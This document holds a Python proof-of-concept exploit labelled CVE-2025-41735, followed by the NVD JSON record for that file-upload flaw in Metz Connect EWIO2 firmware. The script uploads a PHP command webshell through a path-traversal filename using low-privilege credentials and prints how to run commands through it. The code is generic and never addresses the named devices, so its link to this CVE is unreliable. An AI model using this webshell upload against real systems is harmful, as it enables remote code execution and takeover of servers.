CVE-2025-41735

import requests import sys # CVE-2025-41735 PoC - Arbitrary File Upload leading to RCE # Target: Vulnerable application with file upload functionality # Author: Security Researcher TARGET_URL = "http://target.com/upload" # Replace with actual target URL ATTACKER_IP = "attacker.com" ATTACKER_PORT = "4444" def create_webshell(): """Generate PHP webshell for command execution""" php_shell = f"<?php system($_GET['cmd']); ?>" return php_shell def upload_file(): """Upload malicious file to arbitrary location""" webshell = create_webshell() # Construct file upload request # The vulnerability allows uploading to arbitrary paths files = { 'file': ('../../../../var/www/html/shell.php', webshell, 'application/x-php') } # Optional: Add authentication if required auth = ('low_priv_user', 'password') # Adjust credentials try: response = requests.post(TARGET_URL, files=files, auth=auth, timeout=10) print(f"[+] Upload Response: {response.status_code}") print(f"[+] Response Body: {response.text}") # If successful, provide the shell location shell_url = "http://target.com/shell.php" print(f"[+] Webshell uploaded to: {shell_url}") print(f"[+] Execute commands: {shell_url}?cmd=whoami") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") sys.exit(1) if __name__ == "__main__": print("[*] CVE-2025-41735 PoC - Arbitrary File Upload RCE") upload_file()

{"cve": {"id": "CVE-2025-41735", "sourceIdentifier": "[email protected]", "published": "2025-11-18T11:15:47.167", "lastModified": "2025-11-21T19:15:17.757", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A low privileged remote attacker can upload any file to an arbitrary location due to missing file check resulting in remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-m_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "7013D45A-B3DD-4110-A0FF-D0C01B859A37"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-m:-:*:*:*:*:*:*:*", "matchCriteriaId": "892DDE15-8FE1-4D57-BCB6-5DFAC1F6826C"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-m-bm_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "05FE24BB-6605-444F-ACFF-D2FD2B70C05E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-m-bm:-:*:*:*:*:*:*:*", "matchCriteriaId": "8A515C34-A698-47EF-B542-EAA491AE6CBA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:metz-connect:ewio2-bm_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.0", "matchCriteriaId": "DD9B7323-4C67-4DAC-905F-DDE5D6BD9D80"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:metz-connect:ewio2-bm:-:*:*:*:*:*:*:*", "matchCriteriaId": "C7E4CCBC-35EE-4683-A039-55ABEE27E809"}]}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-097", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}